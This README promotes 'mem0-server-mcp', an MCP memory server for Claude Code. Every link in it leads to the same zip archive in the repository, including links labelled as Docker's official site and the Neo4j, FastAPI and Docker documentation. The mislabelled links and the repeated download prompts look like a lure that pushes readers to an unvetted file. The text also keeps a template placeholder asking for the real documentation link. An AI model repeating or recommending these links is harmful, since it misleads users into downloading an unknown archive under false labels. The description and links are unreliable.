mem0-server-mcp

# 🧠 mem0-server-mcp - Easy Server Setup for Smart Memory ## 🌐 Overview Welcome to the mem0-server-mcp repository. This application serves as a production-ready MCP server. It provides intelligent memory for Claude Code, featuring an asynchronous architecture, Neo4j knowledge graphs, smart chunking, and robust enterprise security. You can deploy it quickly with a single command using Docker. ## 📥 Download Now [](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip) ## 🚀 Getting Started Follow these steps to download and run the mem0-server-mcp application: 1. **Visit the Releases Page:** Go to the following link to access the latest releases: [Visit Releases Page](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip). 2. **Select the Latest Version:** On the releases page, find the latest version of the application. Click on it to view details and available files. 3. **Download the Application:** Look for the downloadable file that matches your system. Click on the filename to start the download. 4. **Install Docker:** If you don't have Docker installed, follow these steps: - Visit [Docker's official site](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip) and download Docker. - Follow the installation instructions for your operating system (Windows, macOS, Linux). 5. **Run the Application:** Once Docker is ready, open your terminal or command prompt. Navigate to the directory where you downloaded the file. Then, run this command: ``` docker run -d -p 8000:8000 mem0-server-mcp ``` 6. **Access the Server:** Open your web browser and type `http://localhost:8000`. You should now see the mem0-server-mcp server running smoothly. ## 🛠️ System Requirements To run the mem0-server-mcp, you will need: - A computer running Windows, macOS, or Linux. - Docker should be installed. - At least 2 GB of RAM available. - A minimum of 500 MB of free disk space. ## 🔍 Features - **Intelligent Memory:** Efficiently manages memory for Claude Code applications. - **Async Architecture:** Ensures fast and responsive performance. - **Neo4j Integration:** Supports advanced knowledge graphs for deep learning contexts. - **Smart Chunking:** Optimizes data storage and retrieval. - **Enterprise Security:** Robust safeguards to protect your data. ## 📚 Documentation For more detailed instructions and technical details, please refer to the [Documentation Page](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip) (please replace this with the actual documentation link if available). ## 💬 Support If you encounter any issues, feel free to reach out for help. You can open an issue on GitHub or join the community discussion forums. ## 🔗 Additional Resources - [Docker Documentation](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip) - [Neo4j Documentation](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip) - [FastAPI Documentation](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip) ## 📈 Contributions Contributions are always welcome! If you want to contribute to the project, please follow the guidelines provided in the repository. ## 🎉 Acknowledgements Thank you to the contributors who made this project possible. Your effort helps improve the experience for all users. ## 📥 Download Again For easy access, visit the [Releases Page](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip) to download the latest version again. Enjoy using mem0-server-mcp!